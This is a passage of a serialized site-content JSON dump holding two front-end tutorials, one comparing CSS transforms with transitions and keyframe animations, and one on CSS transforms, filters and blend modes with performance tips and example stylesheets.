",[143,78527,1870],{},[143,78529,1873],{},[143,78531,1876],{},[143,78533,45287],{},[143,78535,45290],{}," triggers layout recalculation on every frame, regardless of whether you use transitions or keyframes.",[33,78538,78540],{"id":78539},"the-compositor-checklist","The compositor checklist",[16,78542,78543],{},"For 60fps animation:",[77,78545,78546,78552,78557,78562,78564],{},[44,78547,1935,78548,1856,78550],{},[143,78549,1514],{},[143,78551,1891],{},[44,78553,1943,78554,78556],{},[143,78555,1530],{}," before animation starts",[44,78558,1601,78559,78561],{},[143,78560,1590],{}," after it ends",[44,78563,1958],{},[44,78565,78566],{},"Test on mobile devices, not just desktop",[11,78568,41982],{"id":41981},[193,78570,78571,78582],{},[196,78572,78573],{},[199,78574,78575,78577,78580],{},[202,78576,21080],{},[202,78578,78579],{},"Best choice",[202,78581,21086],{},[211,78583,78584,78595,78605,78616,78627,78637,78648,78659],{},[199,78585,78586,78589,78592],{},[216,78587,78588],{},"Hover lift on a button",[216,78590,78591],{},"Transition",[216,78593,78594],{},"Two states, simple, auto-reverses",[199,78596,78597,78600,78602],{},[216,78598,78599],{},"Focus ring grow",[216,78601,78591],{},[216,78603,78604],{},"Follows user interaction naturally",[199,78606,78607,78610,78613],{},[216,78608,78609],{},"Loading spinner",[216,78611,78612],{},"Keyframe animation",[216,78614,78615],{},"Loops infinitely, state-independent",[199,78617,78618,78621,78624],{},[216,78619,78620],{},"Card flip on click",[216,78622,78623],{},"Transition + transform",[216,78625,78626],{},"Two states, JS toggles class",[199,78628,78629,78632,78634],{},[216,78630,78631],{},"Complex onboarding sequence",[216,78633,78612],{},[216,78635,78636],{},"Multiple steps with timing",[199,78638,78639,78642,78645],{},[216,78640,78641],{},"Instant button press effect",[216,78643,78644],{},"Transform only",[216,78646,78647],{},"No motion desired, just a state",[199,78649,78650,78653,78656],{},[216,78651,78652],{},"Parallax scroll effect",[216,78654,78655],{},"JS + transform",[216,78657,78658],{},"Scroll position drives transform",[199,78660,78661,78664,78666],{},[216,78662,78663],{},"Notification badge pulse",[216,78665,78612],{},[216,78667,78668],{},"Loops until dismissed",[11,78670,78672],{"id":78671},"combining-them-effectively","Combining Them Effectively",[16,78674,78675],{},"Real interfaces often combine all three. A notification card might:",[77,78677,78678,78689,78698],{},[44,78679,78680,78682,78683,1459,78686,1525],{},[47,78681,78591],{}," into view on mount (",[143,78684,78685],{},"opacity 0 → 1",[143,78687,78688],{},"translateY(20px → 0)",[44,78690,78691,78694,78695,1525],{},[47,78692,78693],{},"Animate"," a pulse on the badge (",[143,78696,78697],{},"@keyframes pulse",[44,78699,78700,78703,78704,1525],{},[47,78701,78702],{},"Transform"," instantly on click to indicate press (",[143,78705,78706],{},"scale(0.95)",[135,78708,78710],{"className":1554,"code":78709,"language":1556,"meta":141,"style":141},".notification {\n  transition: opacity 0.4s ease, transform 0.4s ease;\n  opacity: 0;\n  transform: translateY(20px);\n}\n\n.notification.visible {\n  opacity: 1;\n  transform: translateY(0);\n}\n\n.notification:active {\n  transform: scale(0.95);\n  transition: transform 0.1s ease;\n}\n\n.notification .badge {\n  animation: pulse 2s ease-in-out infinite;\n}\n",[143,78711,78712,78718,78740,78750,78766,78770,78774,78781,78791,78805,78809,78813,78820,78835,78849,78853,78857,78866,78882],{"__ignoreMap":141},[1560,78713,78714,78716],{"class":1562,"line":1563},[1560,78715,20076],{"class":1566},[1560,78717,1571],{"class":1570},[1560,78719,78720,78722,78724,78726,78728,78730,78732,78734,78736,78738],{"class":1562,"line":337},[1560,78721,18718],{"class":1576},[1560,78723,19713],{"class":1570},[1560,78725,73707],{"class":1576},[1560,78727,18727],{"class":1669},[1560,78729,18730],{"class":1576},[1560,78731,18956],{"class":1570},[1560,78733,73707],{"class":1576},[1560,78735,18727],{"class":1669},[1560,78737,18730],{"class":1576},[1560,78739,2228],{"class":1570},[1560,78741,78742,78744,78746,78748],{"class":1562,"line":343},[1560,78743,19700],{"class":1576},[1560,78745,1663],{"class":1570},[1560,78747,5285],{"class":1576},[1560,78749,2228],{"class":1570},[1560,78751,78752,78754,78756,78758,78760,78762,78764],{"class":1562,"line":365},[1560,78753,1720],{"class":1576},[1560,78755,1663],{"class":1570},[1560,78757,18845],{"class":1576},[1560,78759,1688],{"class":1570},[1560,78761,12391],{"class":1576},[1560,78763,1670],{"class":1669},[1560,78765,1744],{"class":1570},[1560,78767,78768],{"class":1562,"line":889},[1560,78769,1585],{"class":1570},[1560,78771,78772],{"class":1562,"line":1710},[1560,78773,1702],{"emptyLinePlaceholder":363},[1560,78775,78776,78779],{"class":1562,"line":1717},[1560,78777,78778],{"class":1566},".notification.visible",[1560,78780,1571],{"class":1570},[1560,78782,78783,78785,78787,78789],{"class":1562,"line":1747},[1560,78784,19700],{"class":1576},[1560,78786,1663],{"class":1570},[1560,78788,3585],{"class":1576},[1560,78790,2228],{"class":1570},[1560,78792,78793,78795,78797,78799,78801,78803],{"class":1562,"line":2507},[1560,78794,1720],{"class":1576},[1560,78796,1663],{"class":1570},[1560,78798,18845],{"class":1576},[1560,78800,1688],{"class":1570},[1560,78802,5285],{"class":1576},[1560,78804,1744],{"class":1570},[1560,78806,78807],{"class":1562,"line":2524},[1560,78808,1585],{"class":1570},[1560,78810,78811],{"class":1562,"line":2529},[1560,78812,1702],{"emptyLinePlaceholder":363},[1560,78814,78815,78818],{"class":1562,"line":2534},[1560,78816,78817],{"class":1566},".notification:active",[1560,78819,1571],{"class":1570},[1560,78821,78822,78824,78826,78828,78830,78833],{"class":1562,"line":2542},[1560,78823,1720],{"class":1576},[1560,78825,1663],{"class":1570},[1560,78827,45137],{"class":1576},[1560,78829,1688],{"class":1570},[1560,78831,78832],{"class":1576},"0.95",[1560,78834,1744],{"class":1570},[1560,78836,78837,78839,78841,78843,78845,78847],{"class":1562,"line":2558},[1560,78838,18718],{"class":1576},[1560,78840,19594],{"class":1570},[1560,78842,46961],{"class":1576},[1560,78844,18727],{"class":1669},[1560,78846,18730],{"class":1576},[1560,78848,2228],{"class":1570},[1560,78850,78851],{"class":1562,"line":2570},[1560,78852,1585],{"class":1570},[1560,78854,78855],{"class":1562,"line":6638},[1560,78856,1702],{"emptyLinePlaceholder":363},[1560,78858,78859,78861,78864],{"class":1562,"line":11615},[1560,78860,20076],{"class":1566},[1560,78862,78863],{"class":1566}," .badge",[1560,78865,1571],{"class":1570},[1560,78867,78868,78870,78872,78874,78876,78878,78880],{"class":1562,"line":11621},[1560,78869,20083],{"class":1576},[1560,78871,45247],{"class":1570},[1560,78873,10099],{"class":1576},[1560,78875,18727],{"class":1669},[1560,78877,20093],{"class":1576},[1560,78879,20096],{"class":1576},[1560,78881,2228],{"class":1570},[1560,78883,78884],{"class":1562,"line":11633},[1560,78885,1585],{"class":1570},[11,78887,1355],{"id":1354},[41,78889,78890,78899,78902,78905,78912,78915],{},[44,78891,78892,78893,78895,78896,78898],{},"Transforms describe ",[7310,78894,78029],{}," changes; transitions and animations describe ",[7310,78897,78036],{}," it changes over time",[44,78900,78901],{},"Use transitions for simple two-state change animations — hover, focus, class toggles",[44,78903,78904],{},"Use keyframe animations for multi-step sequences, loops, and state-independent motion",[44,78906,78907,78908,1856,78910],{},"Performance depends on the properties you animate, not the technique — stick to ",[143,78909,1514],{},[143,78911,1891],{},[44,78913,78914],{},"Combining all three techniques is normal and expected in production interfaces",[44,78916,78917],{},"Always test animations on mid-range mobile devices to catch performance issues early",[11,78919,286],{"id":285},[16,78921,78922,78923,78925],{},"Build and preview CSS transforms with smooth transitions using our ",[98,78924,2018],{"href":2017},". Adjust values visually and copy production-ready code directly into your project.",[11,78927,321],{"id":320},[41,78929,78930,78934,78938],{},[44,78931,78932],{},[98,78933,2029],{"href":2028},[44,78935,78936],{},[98,78937,2041],{"href":2040},[44,78939,78940],{},[98,78941,2035],{"href":2034},[2043,78943,36869],{},{"title":141,"searchDepth":337,"depth":337,"links":78945},[78946,78947,78950,78954,78958,78961,78962,78963,78964,78965],{"id":78012,"depth":337,"text":78013},{"id":78043,"depth":337,"text":78044,"children":78948},[78949],{"id":78095,"depth":343,"text":78096},{"id":78117,"depth":337,"text":78118,"children":78951},[78952,78953],{"id":78230,"depth":343,"text":78231},{"id":78264,"depth":343,"text":78265},{"id":78282,"depth":337,"text":78283,"children":78955},[78956,78957],{"id":78378,"depth":343,"text":78379},{"id":78424,"depth":343,"text":78425},{"id":26164,"depth":337,"text":26165,"children":78959},[78960],{"id":78539,"depth":343,"text":78540},{"id":41981,"depth":337,"text":41982},{"id":78671,"depth":337,"text":78672},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"When to use CSS transforms versus CSS animations and transitions — performance, use cases, and practical comparison for front-end developers.",{"immutable":363},"\u002Fguides\u002Fcss-transform-vs-css-animation",{"title":78007,"description":78966},"guides\u002Fcss-transform-vs-css-animation","PsDJV5ANryFYQirhH76wycvM1qGSdhTQswhZzcHZIDo",{"id":78973,"title":2041,"body":78974,"date":2070,"description":80513,"extension":361,"meta":80514,"navigation":363,"path":2040,"readingTime":1717,"seo":80515,"stem":80516,"__hash__":80517},"guides\u002Fguides\u002Fcss-visual-effects.md",{"type":8,"value":78975,"toc":80487},[78976,78980,78983,79003,79006,79010,79065,79076,79078,79082,79096,79136,79140,79154,79250,79254,79265,79316,79318,79321,79404,79408,79436,79553,79557,79560,79564,79798,79802,79905,79909,79969,79973,79977,79980,80093,80097,80104,80222,80232,80236,80349,80353,80356,80378,80439,80441,80458,80460,80471,80473,80485],[11,78977,78979],{"id":78978},"three-pillars-of-css-visual-effects","Three Pillars of CSS Visual Effects",[16,78981,78982],{},"Modern CSS gives you three powerful tools for visual manipulation:",[41,78984,78985,78991,78997],{},[44,78986,78987,78990],{},[47,78988,78989],{},"Transforms"," — change geometry (position, rotation, size, skew)",[44,78992,78993,78996],{},[47,78994,78995],{},"Filters"," — change appearance (blur, brightness, contrast, saturation)",[44,78998,78999,79002],{},[47,79000,79001],{},"Blend modes"," — control how overlapping layers mix",[16,79004,79005],{},"Each tool solves a different problem. Understanding when to use which one keeps your code clean and your UI sharp.",[11,79007,79009],{"id":79008},"transforms-vs-filters-vs-blend-modes","Transforms vs Filters vs Blend Modes",[193,79011,79012,79026],{},[196,79013,79014],{},[199,79015,79016,79018,79020,79023],{},[202,79017,5867],{},[202,79019,922],{},[202,79021,79022],{},"Affects Layout?",[202,79024,79025],{},"GPU Accelerated?",[211,79027,79028,79039,79053],{},[199,79029,79030,79032,79035,79037],{},[216,79031,78702],{},[216,79033,79034],{},"Moves, rotates, scales, skews",[216,79036,6117],{},[216,79038,3057],{},[199,79040,79041,79044,79047,79050],{},[216,79042,79043],{},"Filter",[216,79045,79046],{},"Blur, brightness, contrast, drop-shadow",[216,79048,79049],{},"No (except drop-shadow margin)",[216,79051,79052],{},"Partially",[199,79054,79055,79058,79061,79063],{},[216,79056,79057],{},"Blend mode",[216,79059,79060],{},"Mixes overlapping pixel colors",[216,79062,6117],{},[216,79064,3078],{},[16,79066,79067,79069,79070,79072,79073,79075],{},[47,79068,78989],{}," change the shape and position of an element. ",[47,79071,78995],{}," change how the element looks after rendering. ",[47,79074,79001],{}," determine how two rendered layers combine.",[11,79077,41982],{"id":41981},[33,79079,79081],{"id":79080},"use-transforms-when-you-want-to","Use Transforms When You Want To",[41,79083,79084,79087,79090,79093],{},[44,79085,79086],{},"Move an element without causing reflow",[44,79088,79089],{},"Rotate or flip a component",[44,79091,79092],{},"Scale on hover for interactive feedback",[44,79094,79095],{},"Create 3D card flips or perspective effects",[135,79097,79099],{"className":1554,"code":79098,"language":1556,"meta":141,"style":141},".btn:hover {\n  transform: translateY(-2px) scale(1.02);\n}\n",[143,79100,79101,79107,79132],{"__ignoreMap":141},[1560,79102,79103,79105],{"class":1562,"line":1563},[1560,79104,12633],{"class":1566},[1560,79106,1571],{"class":1570},[1560,79108,79109,79111,79113,79115,79117,79119,79121,79123,79125,79127,79130],{"class":1562,"line":337},[1560,79110,1720],{"class":1576},[1560,79112,1663],{"class":1570},[1560,79114,18845],{"class":1576},[1560,79116,1688],{"class":1570},[1560,79118,19759],{"class":1576},[1560,79120,1670],{"class":1669},[1560,79122,1733],{"class":1570},[1560,79124,45137],{"class":1576},[1560,79126,1688],{"class":1570},[1560,79128,79129],{"class":1576},"1.02",[1560,79131,1744],{"class":1570},[1560,79133,79134],{"class":1562,"line":343},[1560,79135,1585],{"class":1570},[33,79137,79139],{"id":79138},"use-filters-when-you-want-to","Use Filters When You Want To",[41,79141,79142,79145,79148,79151],{},[44,79143,79144],{},"Blur a background for a glass effect",[44,79146,79147],{},"Adjust brightness or contrast on an image",[44,79149,79150],{},"Convert an image to grayscale",[44,79152,79153],{},"Apply a drop shadow that follows an irregular shape",[135,79155,79157],{"className":1554,"code":79156,"language":1556,"meta":141,"style":141},".card-background {\n  filter: blur(8px) brightness(0.7);\n}\n\n.icon:hover {\n  filter: drop-shadow(0 2px 4px rgba(59, 130, 246, 0.5));\n}\n",[143,79158,79159,79166,79191,79195,79199,79206,79246],{"__ignoreMap":141},[1560,79160,79161,79164],{"class":1562,"line":1563},[1560,79162,79163],{"class":1566},".card-background",[1560,79165,1571],{"class":1570},[1560,79167,79168,79170,79172,79174,79176,79178,79180,79182,79185,79187,79189],{"class":1562,"line":337},[1560,79169,47101],{"class":1576},[1560,79171,1663],{"class":1570},[1560,79173,47106],{"class":1576},[1560,79175,1688],{"class":1570},[1560,79177,10078],{"class":1576},[1560,79179,1670],{"class":1669},[1560,79181,1733],{"class":1570},[1560,79183,79184],{"class":1576},"brightness",[1560,79186,1688],{"class":1570},[1560,79188,60725],{"class":1576},[1560,79190,1744],{"class":1570},[1560,79192,79193],{"class":1562,"line":343},[1560,79194,1585],{"class":1570},[1560,79196,79197],{"class":1562,"line":365},[1560,79198,1702],{"emptyLinePlaceholder":363},[1560,79200,79201,79204],{"class":1562,"line":889},[1560,79202,79203],{"class":1566},".icon:hover",[1560,79205,1571],{"class":1570},[1560,79207,79208,79210,79212,79214,79216,79218,79220,79222,79224,79226,79228,79230,79232,79234,79236,79238,79240,79242,79244],{"class":1562,"line":1710},[1560,79209,47101],{"class":1576},[1560,79211,1663],{"class":1570},[1560,79213,57046],{"class":1576},[1560,79215,1688],{"class":1570},[1560,79217,5285],{"class":1576},[1560,79219,9426],{"class":1576},[1560,79221,1670],{"class":1669},[1560,79223,13574],{"class":1576},[1560,79225,1670],{"class":1669},[1560,79227,18694],{"class":1576},[1560,79229,1688],{"class":1570},[1560,79231,19995],{"class":1576},[1560,79233,1459],{"class":1570},[1560,79235,20000],{"class":1576},[1560,79237,1459],{"class":1570},[1560,79239,20005],{"class":1576},[1560,79241,1459],{"class":1570},[1560,79243,5687],{"class":1576},[1560,79245,41941],{"class":1570},[1560,79247,79248],{"class":1562,"line":1717},[1560,79249,1585],{"class":1570},[33,79251,79253],{"id":79252},"use-blend-modes-when-you-want-to","Use Blend Modes When You Want To",[41,79255,79256,79259,79262],{},[44,79257,79258],{},"Colorize a background image with a gradient overlay",[44,79260,79261],{},"Create text knock-out effects",[44,79263,79264],{},"Composite multiple layers into a single visual",[135,79266,79268],{"className":1554,"code":79267,"language":1556,"meta":141,"style":141},".overlay {\n  background: linear-gradient(135deg, #3B82F6, #8B5CF6);\n  mix-blend-mode: multiply;\n}\n",[143,79269,79270,79276,79300,79312],{"__ignoreMap":141},[1560,79271,79272,79274],{"class":1562,"line":1563},[1560,79273,5707],{"class":1566},[1560,79275,1571],{"class":1570},[1560,79277,79278,79280,79282,79284,79286,79288,79290,79292,79294,79296,79298],{"class":1562,"line":337},[1560,79279,5665],{"class":1576},[1560,79281,1663],{"class":1570},[1560,79283,46356],{"class":1576},[1560,79285,1688],{"class":1570},[1560,79287,46361],{"class":1576},[1560,79289,1694],{"class":1669},[1560,79291,1459],{"class":1570},[1560,79293,2260],{"class":1576},[1560,79295,1459],{"class":1570},[1560,79297,55458],{"class":1576},[1560,79299,1744],{"class":1570},[1560,79301,79302,79305,79307,79310],{"class":1562,"line":343},[1560,79303,79304],{"class":1576},"  mix-blend-mode",[1560,79306,1663],{"class":1570},[1560,79308,79309],{"class":1576},"multiply",[1560,79311,2228],{"class":1570},[1560,79313,79314],{"class":1562,"line":365},[1560,79315,1585],{"class":1570},[11,79317,8286],{"id":8285},[16,79319,79320],{},"Not all visual effects cost the same. Here is how they rank:",[193,79322,79323,79334],{},[196,79324,79325],{},[199,79326,79327,79330,79332],{},[202,79328,79329],{},"Effect Layer",[202,79331,16397],{},[202,79333,21086],{},[211,79335,79336,79347,79357,79369,79380,79392],{},[199,79337,79338,79342,79344],{},[216,79339,79340],{},[143,79341,1514],{},[216,79343,15466],{},[216,79345,79346],{},"GPU-composited; skips repaint",[199,79348,79349,79353,79355],{},[216,79350,79351],{},[143,79352,1891],{},[216,79354,15466],{},[216,79356,79346],{},[199,79358,79359,79364,79366],{},[216,79360,79361],{},[143,79362,79363],{},"filter: blur()",[216,79365,7639],{},[216,79367,79368],{},"Requires pixel processing; may trigger layer promotion",[199,79370,79371,79375,79377],{},[216,79372,79373],{},[143,79374,49343],{},[216,79376,7639],{},[216,79378,79379],{},"Recalculated on content change",[199,79381,79382,79387,79389],{},[216,79383,79384],{},[143,79385,79386],{},"mix-blend-mode",[216,79388,15446],{},[216,79390,79391],{},"Requires compositing two layers per pixel",[199,79393,79394,79399,79401],{},[216,79395,79396],{},[143,79397,79398],{},"background-blend-mode",[216,79400,15446],{},[216,79402,79403],{},"Same compositing cost per background pixel",[33,79405,79407],{"id":79406},"practical-guidelines","Practical Guidelines",[77,79409,79410,79416,79422,79430],{},[44,79411,79412,79415],{},[47,79413,79414],{},"Prefer transform + opacity for animations"," — they run on the compositor thread and skip layout and paint",[44,79417,79418,79421],{},[47,79419,79420],{},"Avoid animating filter or blend-mode properties"," — they trigger paint on every frame",[44,79423,79424,79429],{},[47,79425,1388,79426,79428],{},[143,79427,1590],{}," sparingly"," — add it only when you are about to animate, and remove it after",[44,79431,79432,79435],{},[47,79433,79434],{},"Limit blur radius"," — a 20px blur costs roughly 4× more than a 10px blur",[135,79437,79439],{"className":1554,"code":79438,"language":1556,"meta":141,"style":141},"\u002F* Good: animate transform and opacity *\u002F\n.card:hover {\n  transform: translateY(-4px);\n  opacity: 0.9;\n  transition: transform 0.2s, opacity 0.2s;\n}\n\n\u002F* Avoid: animate filter *\u002F\n.card:hover {\n  filter: blur(2px);\n  transition: filter 0.3s; \u002F* triggers repaint each frame *\u002F\n}\n",[143,79440,79441,79446,79452,79468,79479,79498,79502,79506,79511,79517,79533,79549],{"__ignoreMap":141},[1560,79442,79443],{"class":1562,"line":1563},[1560,79444,79445],{"class":1649},"\u002F* Good: animate transform and opacity *\u002F\n",[1560,79447,79448,79450],{"class":1562,"line":337},[1560,79449,18745],{"class":1566},[1560,79451,1571],{"class":1570},[1560,79453,79454,79456,79458,79460,79462,79464,79466],{"class":1562,"line":343},[1560,79455,1720],{"class":1576},[1560,79457,1663],{"class":1570},[1560,79459,18845],{"class":1576},[1560,79461,1688],{"class":1570},[1560,79463,45151],{"class":1576},[1560,79465,1670],{"class":1669},[1560,79467,1744],{"class":1570},[1560,79469,79470,79472,79474,79477],{"class":1562,"line":365},[1560,79471,19700],{"class":1576},[1560,79473,1663],{"class":1570},[1560,79475,79476],{"class":1576},"0.9",[1560,79478,2228],{"class":1570},[1560,79480,79481,79483,79485,79487,79489,79492,79494,79496],{"class":1562,"line":889},[1560,79482,18718],{"class":1576},[1560,79484,19594],{"class":1570},[1560,79486,18949],{"class":1576},[1560,79488,18727],{"class":1669},[1560,79490,79491],{"class":1570},", opacity ",[1560,79493,18949],{"class":1576},[1560,79495,18727],{"class":1669},[1560,79497,2228],{"class":1570},[1560,79499,79500],{"class":1562,"line":1710},[1560,79501,1585],{"class":1570},[1560,79503,79504],{"class":1562,"line":1717},[1560,79505,1702],{"emptyLinePlaceholder":363},[1560,79507,79508],{"class":1562,"line":1747},[1560,79509,79510],{"class":1649},"\u002F* Avoid: animate filter *\u002F\n",[1560,79512,79513,79515],{"class":1562,"line":2507},[1560,79514,18745],{"class":1566},[1560,79516,1571],{"class":1570},[1560,79518,79519,79521,79523,79525,79527,79529,79531],{"class":1562,"line":2524},[1560,79520,47101],{"class":1576},[1560,79522,1663],{"class":1570},[1560,79524,47106],{"class":1576},[1560,79526,1688],{"class":1570},[1560,79528,10099],{"class":1576},[1560,79530,1670],{"class":1669},[1560,79532,1744],{"class":1570},[1560,79534,79535,79537,79540,79542,79544,79546],{"class":1562,"line":2529},[1560,79536,18718],{"class":1576},[1560,79538,79539],{"class":1570},": filter ",[1560,79541,18724],{"class":1576},[1560,79543,18727],{"class":1669},[1560,79545,3664],{"class":1570},[1560,79547,79548],{"class":1649},"\u002F* triggers repaint each frame *\u002F\n",[1560,79550,79551],{"class":1562,"line":2534},[1560,79552,1585],{"class":1570},[11,79554,79556],{"id":79555},"combining-effects","Combining Effects",[16,79558,79559],{},"The real power comes from stacking effects. Each layer adds depth and polish.",[33,79561,79563],{"id":79562},"elevated-card","Elevated Card",[135,79565,79567],{"className":1554,"code":79566,"language":1556,"meta":141,"style":141},".elevated-card {\n  background: linear-gradient(180deg, #1E293B, #0F172A);\n  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.4), 0 8px 24px rgba(0, 0, 0, 0.3);\n  transform: translateY(0);\n  transition: transform 0.2s, box-shadow 0.2s;\n}\n\n.elevated-card:hover {\n  transform: translateY(-4px);\n  box-shadow: 0 2px 6px rgba(0, 0, 0, 0.4), 0 12px 32px rgba(0, 0, 0, 0.4);\n}\n",[143,79568,79569,79575,79599,79665,79679,79697,79701,79705,79712,79728,79794],{"__ignoreMap":141},[1560,79570,79571,79573],{"class":1562,"line":1563},[1560,79572,55494],{"class":1566},[1560,79574,1571],{"class":1570},[1560,79576,79577,79579,79581,79583,79585,79587,79589,79591,79593,79595,79597],{"class":1562,"line":337},[1560,79578,5665],{"class":1576},[1560,79580,1663],{"class":1570},[1560,79582,46356],{"class":1576},[1560,79584,1688],{"class":1570},[1560,79586,35584],{"class":1576},[1560,79588,1694],{"class":1669},[1560,79590,1459],{"class":1570},[1560,79592,2315],{"class":1576},[1560,79594,1459],{"class":1570},[1560,79596,2299],{"class":1576},[1560,79598,1744],{"class":1570},[1560,79600,79601,79603,79605,79607,79609,79611,79613,79615,79617,79619,79621,79623,79625,79627,79629,79631,79633,79635,79637,79639,79641,79643,79645,79647,79649,79651,79653,79655,79657,79659,79661,79663],{"class":1562,"line":343},[1560,79602,18679],{"class":1576},[1560,79604,1663],{"class":1570},[1560,79606,5285],{"class":1576},[1560,79608,18868],{"class":1576},[1560,79610,1670],{"class":1669},[1560,79612,48433],{"class":1576},[1560,79614,1670],{"class":1669},[1560,79616,18694],{"class":1576},[1560,79618,1688],{"class":1570},[1560,79620,5285],{"class":1576},[1560,79622,1459],{"class":1570},[1560,79624,5285],{"class":1576},[1560,79626,1459],{"class":1570},[1560,79628,5285],{"class":1576},[1560,79630,1459],{"class":1570},[1560,79632,73707],{"class":1576},[1560,79634,18895],{"class":1570},[1560,79636,5285],{"class":1576},[1560,79638,13490],{"class":1576},[1560,79640,1670],{"class":1669},[1560,79642,18193],{"class":1576},[1560,79644,1670],{"class":1669},[1560,79646,18694],{"class":1576},[1560,79648,1688],{"class":1570},[1560,79650,5285],{"class":1576},[1560,79652,1459],{"class":1570},[1560,79654,5285],{"class":1576},[1560,79656,1459],{"class":1570},[1560,79658,5285],{"class":1576},[1560,79660,1459],{"class":1570},[1560,79662,18724],{"class":1576},[1560,79664,1744],{"class":1570},[1560,79666,79667,79669,79671,79673,79675,79677],{"class":1562,"line":365},[1560,79668,1720],{"class":1576},[1560,79670,1663],{"class":1570},[1560,79672,18845],{"class":1576},[1560,79674,1688],{"class":1570},[1560,79676,5285],{"class":1576},[1560,79678,1744],{"class":1570},[1560,79680,79681,79683,79685,79687,79689,79691,79693,79695],{"class":1562,"line":889},[1560,79682,18718],{"class":1576},[1560,79684,19594],{"class":1570},[1560,79686,18949],{"class":1576},[1560,79688,18727],{"class":1669},[1560,79690,72657],{"class":1570},[1560,79692,18949],{"class":1576},[1560,79694,18727],{"class":1669},[1560,79696,2228],{"class":1570},[1560,79698,79699],{"class":1562,"line":1710},[1560,79700,1585],{"class":1570},[1560,79702,79703],{"class":1562,"line":1717},[1560,79704,1702],{"emptyLinePlaceholder":363},[1560,79706,79707,79710],{"class":1562,"line":1747},[1560,79708,79709],{"class":1566},".elevated-card:hover",[1560,79711,1571],{"class":1570},[1560,79713,79714,79716,79718,79720,79722,79724,79726],{"class":1562,"line":2507},[1560,79715,1720],{"class":1576},[1560,79717,1663],{"class":1570},[1560,79719,18845],{"class":1576},[1560,79721,1688],{"class":1570},[1560,79723,45151],{"class":1576},[1560,79725,1670],{"class":1669},[1560,79727,1744],{"class":1570},[1560,79729,79730,79732,79734,79736,79738,79740,79742,79744,79746,79748,79750,79752,79754,79756,79758,79760,79762,79764,79766,79768,79770,79772,79774,79776,79778,79780,79782,79784,79786,79788,79790,79792],{"class":1562,"line":2524},[1560,79731,18679],{"class":1576},[1560,79733,1663],{"class":1570},[1560,79735,5285],{"class":1576},[1560,79737,9426],{"class":1576},[1560,79739,1670],{"class":1669},[1560,79741,43195],{"class":1576},[1560,79743,1670],{"class":1669},[1560,79745,18694],{"class":1576},[1560,79747,1688],{"class":1570},[1560,79749,5285],{"class":1576},[1560,79751,1459],{"class":1570},[1560,79753,5285],{"class":1576},[1560,79755,1459],{"class":1570},[1560,79757,5285],{"class":1576},[1560,79759,1459],{"class":1570},[1560,79761,73707],{"class":1576},[1560,79763,18895],{"class":1570},[1560,79765,5285],{"class":1576},[1560,79767,19321],{"class":1576},[1560,79769,1670],{"class":1669},[1560,79771,42731],{"class":1576},[1560,79773,1670],{"class":1669},[1560,79775,18694],{"class":1576},[1560,79777,1688],{"class":1570},[1560,79779,5285],{"class":1576},[1560,79781,1459],{"class":1570},[1560,79783,5285],{"class":1576},[1560,79785,1459],{"class":1570},[1560,79787,5285],{"class":1576},[1560,79789,1459],{"class":1570},[1560,79791,73707],{"class":1576},[1560,79793,1744],{"class":1570},[1560,79795,79796],{"class":1562,"line":2529},[1560,79797,1585],{"class":1570},[33,79799,79801],{"id":79800},"glass-panel","Glass Panel",[135,79803,79805],{"className":1554,"code":79804,"language":1556,"meta":141,"style":141},".glass-panel {\n  background: rgba(255, 255, 255, 0.08);\n  backdrop-filter: blur(12px);\n  border: 1px solid rgba(255, 255, 255, 0.1);\n  border-radius: 12px;\n}\n",[143,79806,79807,79814,79840,79857,79889,79901],{"__ignoreMap":141},[1560,79808,79809,79812],{"class":1562,"line":1563},[1560,79810,79811],{"class":1566},".glass-panel",[1560,79813,1571],{"class":1570},[1560,79815,79816,79818,79820,79822,79824,79826,79828,79830,79832,79834,79836,79838],{"class":1562,"line":337},[1560,79817,5665],{"class":1576},[1560,79819,1663],{"class":1570},[1560,79821,5670],{"class":1576},[1560,79823,1688],{"class":1570},[1560,79825,5400],{"class":1576},[1560,79827,1459],{"class":1570},[1560,79829,5400],{"class":1576},[1560,79831,1459],{"class":1570},[1560,79833,5400],{"class":1576},[1560,79835,1459],{"class":1570},[1560,79837,18711],{"class":1576},[1560,79839,1744],{"class":1570},[1560,79841,79842,79845,79847,79849,79851,79853,79855],{"class":1562,"line":343},[1560,79843,79844],{"class":1576},"  backdrop-filter",[1560,79846,1663],{"class":1570},[1560,79848,47106],{"class":1576},[1560,79850,1688],{"class":1570},[1560,79852,13566],{"class":1576},[1560,79854,1670],{"class":1669},[1560,79856,1744],{"class":1570},[1560,79858,79859,79861,79863,79865,79867,79869,79871,79873,79875,79877,79879,79881,79883,79885,79887],{"class":1562,"line":365},[1560,79860,3580],{"class":1576},[1560,79862,1663],{"class":1570},[1560,79864,3585],{"class":1576},[1560,79866,1670],{"class":1669},[1560,79868,3590],{"class":1576},[1560,79870,18694],{"class":1576},[1560,79872,1688],{"class":1570},[1560,79874,5400],{"class":1576},[1560,79876,1459],{"class":1570},[1560,79878,5400],{"class":1576},[1560,79880,1459],{"class":1570},[1560,79882,5400],{"class":1576},[1560,79884,1459],{"class":1570},[1560,79886,46961],{"class":1576},[1560,79888,1744],{"class":1570},[1560,79890,79891,79893,79895,79897,79899],{"class":1562,"line":889},[1560,79892,17294],{"class":1576},[1560,79894,1663],{"class":1570},[1560,79896,13566],{"class":1576},[1560,79898,1670],{"class":1669},[1560,79900,2228],{"class":1570},[1560,79902,79903],{"class":1562,"line":1710},[1560,79904,1585],{"class":1570},[33,79906,79908],{"id":79907},"color-overlay-with-blend-mode","Color Overlay with Blend Mode",[135,79910,79912],{"className":1554,"code":79911,"language":1556,"meta":141,"style":141},".hero-overlay {\n  background: linear-gradient(135deg, #3B82F6, #8B5CF6);\n  mix-blend-mode: soft-light;\n  opacity: 